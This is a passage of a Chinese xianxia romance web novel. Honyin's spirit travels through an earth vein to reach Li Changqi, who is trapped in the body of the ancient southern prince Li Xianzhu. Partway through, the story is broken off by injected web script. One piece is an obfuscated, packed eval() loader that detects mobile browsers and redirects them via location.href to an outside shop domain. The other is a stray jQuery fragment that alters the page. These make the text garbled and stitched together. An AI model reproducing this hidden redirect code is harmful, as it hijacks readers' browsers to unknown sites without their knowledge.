“别浪费时间了。”鸿音道:“更何况,对你们而言,他再怎么样都会比我更重要啊。”
无垠笑道:“所以,更需要问一下你是否还愿意。”
“……”鸿音不解:“什么意思?”
“地脉祸乱,不仅仅有灵力漩涡,还有时空的轨迹,我只能把你送进去,你想回来却只能靠他。如果你没能把他带出来,你也会迷失在地脉之中。”
无垠看着那静静漂浮在碧海潮生灯上的黯淡明珠,轻声道:“而他残存的元神就算不会因此责备我们,也会自责。鸿音姑娘,我们与他相处数十年,却只在超度南庭百姓亡魂之时,在他眼底看到了无法言说的痛苦……那些苦痛,看过一次已经足够了,我不希望在他眼中看到第二次悲伤。”
鸿音一愣,旋即了然。
李长歧的朋友,都是非常了解他的……她笑了笑,说道:“我明白。”
无垠再度询问:“确定了吗?”
鸿音点头。
无垠立刻退后数步,抬手结印,口中念念有词般飞快说着什么,很快,他一掌拍在地面。
地宫的环境陡然一变,鸿音只看到远处的莲花灯和明珠,由一股自地底而上的力量拉扯着,缓缓转动着。
“这是……”
“地脉的甬道。”无垠的声音好似从很远的地方传来:“去捧起碧海潮生灯,而后将你的神识藏在他元神的裂隙中,再引出体外即可。”
鸿音立刻上前盘腿而坐,双手捧起那莲花灯,依着无垠所说那般,将神识嵌于他的元神碎片之中,又将元神碎片送出体外。
紧接着便是极为庞大的一股力量,带着她朝地底之下,如同跌入了时光缝隙,她的神识随之倒退回溯。
几乎是瞬间,她就失去了意识。
看着她的神识消失,无垠散去阵法,看着依旧缓缓旋转的碧海潮生,忍不住轻声呢喃:“南庭的地神,你若当真有灵,就别将他强留在过去,他需要的是明天……”
·
李长歧的意识本来因为李衔珠这个主体病重的原因,开始变得变得混沌迷茫。
却在逐渐浑浑噩噩之际,感觉到了一丝清明。
原本支离破碎的感官好似在一瞬间被抚平,竟不知何时,回到了属于“李衔珠”的身体之中。
或许是因为本就是未来者的缘故,回到南庭的这这些年,即便是身在肉身之中,他也没有办法操控这具身体。
此刻的他更像是从一个地方,被换到了另一个地方而已。
而随着他元神融进肉身的同时,随之而来的,就是他放在小涂那里的一丝神识碎片,自己无处遁形的……属于小涂的神识。
她的神识很弱。
相较于李长歧的皓月之辉,她就像个风吹即散的小萤火。
要不注意,都能叫他给忽视了去。
可又怎么可能会被他忽视……
他的元神在这个只剩过去的地方踽踽独行,此刻被同为未来之人的神识全部牵引着,几乎是不受控制地凝聚起来,又将她层层包裹,围困得密不透风,最后箍成一小团,竟生出一种想把她吃掉的恶劣心思。
可他又有一瞬涌出了想哭的情绪。
他后知后觉,自己并不孤单。
她来了。
他把她小心翼翼捧着,开口,却不自觉地责备起来:“你怎么也跑过来了,你知不知道这是哪里?”
李长歧这问题问得有些短智。
他缺失的元神碎片就只在她那里。
所以,她是察觉到了他的处境,想帮他,才会出现在这里。
道理多简单,都不用想。
可他还是忍不住问了。
鸿音的意识本来没醒,这被他一顿挤来搓去的不醒也醒了,他的话也只听到后半截儿,而且是只能听见他的声音,看不见他的人,以至于叫她有些茫然又无措:“不知道啊,李长歧,你在哪儿?”
她那一团小小的神识,跟无头苍蝇似废想到处乱窜,奈何被他死死按住,动弹不得。
李长歧叹了口气,又问了遍:“你怎么来了啊?”
直到再次听到他的声音,她才渐渐安静下来,而后很快发现自己是被他捏着的。
鸿音答非所问:“……好奇怪啊。”
“什么?”
“你……我现在好想跟你双修。”
李长歧:“……”
鸿音说完也尴尬,连忙解释道:“我不是故意的,也不知道怎么回事,虽然没有肉身,但这种被你死死拿捏的感觉,还真是……”
她斟酌用词:“就有点说不清道不明的爽,怎么回事啊。”
李长歧:“……”
他叹气:“你姑且理解为元神双修的后遗症吧。”
元神,尤其是双修过的元神……根本无解。
李长歧又义正言辞地谴责她:“谁让你当初乱用功法,还没轻没重的。”
把他的力量全掏走了化为己用,如今自然会被他的元神影响。
鸿音有些难为情。
好似他的修为,他的气息,无不对她有着非同寻常的吸引力。
她忍不住问:“你就没感觉吗?”
一边说,还一边有些控制不住地胡思乱想,李长歧似乎也有所感,一时欲言又止,咬牙切齿:“你可真是……这个时候就别运转你那双修功法了。”
没话说。
真的没话说。
鸿音还是茫茫然的:“我没有……”
话还没说完,她就惊呼一声,赶紧止住这神识的下意识操作……她在干嘛啦,干嘛往他元神里面钻!
“我不是我没有不是我干的!”她徒劳地说:“你……你的元神好恐怖,快松开我啦。”
李长歧好气又好笑,将她的神识放开,又施法用结界将她隔绝开来,才再问了一遍:“你是怎么来的?”
鸿音意识这才逐渐清明,缓缓神,如实道:“我知道的也不多,原本还在华云景修炼,就发现你留给我的元神要碎了,我又没办法把它送过来,就回了黎城。无垠说这样能带你回去,我就来了。”
“……”
她说得简单,可李长歧听完,便无声地叹了口气。
要说起来,他也不是经常叹气的人,唉!
是啊,现世还有人在担忧他,小涂这一来,也是生死不问。
他委实不该沉溺在过去的梦境里。
可……
他完全放开鸿音,独自玉玉。
得了自由的鸿音也凝不出身形,只能作为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996999|184481||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一团灵体,在他身体里转来转去,巡视领地一般,却哪哪都觉得陌生。
而后她干脆直接冲出体外,在那具名为李衔珠肉身面前飘来飘去地问:“这里是哪里?这……李长歧,这是你吗?”
说话间,她的神识,就落在了“李衔珠”的脸上。
李长歧的样貌,和李衔珠有很大的区别……也不能说样貌,而是第一直觉。
李衔珠此刻正在病中,巫族族长正在为他施法救治。
他躺在床上,微微睁着双眼,却无神地看着床帐。
鸿音打量着他的衣着……
就和她最初随李长歧到黎城时,被百里明璋按头硬送的那身衣裳有很大的相似之处,主要是青蓝二色,但……很难一语道清。
就像巡游会开始之前的壁上神君一样,他的上身其实是没有遮拦的,只用许多繁复的符文,描绘着一些说不出寓意的印记。
尤其是他心脏处,赤金之色烙于皮肤之下,刻画着像是太阳释放光线一样的纹样,蔓延至四肢。
乍一看,就像远古时人们描绘在身上用来驱逐凶兽的图腾,却不清楚这些图腾在他身上有何作用,是何代表。
不知道便问,鸿音直接开口:“李长歧,你身上这是什么东西啊?”
李长歧回神,莫名想起曾经被小涂意外看去,又被他清除记忆的一段儿记忆,忽地笑了。
他如实道:“这是南庭的图腾,通常普通男子身上为三足金乌,女子是一轮太阳,而王室子弟则为金乌负日,公主为太阳神女。”
鸿音听得一知半解,又继续去看他身体。
皮肤黝黑光滑,肌理分明通透,她惊讶地说:“李长歧,你好黑啊!”
李长歧没好气道:“你二十年不穿上衣试试,没准儿比我更黑。”
鸿音:“那你穿裤子啊,你下半身会很白吗?你是两个颜色吗?”
李长歧:“……”是。
鸿音没等他回答,就继续打量去了。
看到他胸前以宝石兽牙作为装饰,手臂带着臂环。
下身则是青蓝之色的长裤,裹着厚厚的兽皮,而裤腿到脚腕处束起,赤着脚,脚上也画着赤金色的图腾。
总之就是……很奇特。
他真的,很像是远古遗族的后裔。
她又去看了看附近伺候的人,大多装扮相似,只是相对他而言,没那么繁复。
而他从头到脚都带着一股特别野性,眉眼深邃,哪怕眼中神采因病重而失了大半,可瞧着仍是不怒自威,气势相当逼人。
这神乎其神的气质……
是记忆里李长歧那吊儿郎当,又懒又散的人身上所没有的。
如果真要给他们的外观做个比较,那大概李长歧是荒野穷苦散修,吃了上顿没下顿。
李衔珠则是仙盟的首席弟子吧,一顿能吃几百道灵菜的那种。
因为是神识,她想了什么都会直接去做。
眼前这具身体,也算小有姿色,她在好奇的驱使下,直接去碰了碰他胸前的王印。
下一刻却被一阵跳动震退,大惊失色:“那是什么动静?”
共享肉身感知的李长歧发现了,却是满头黑线:“心跳而已。”
“……”鸿音:“哦。”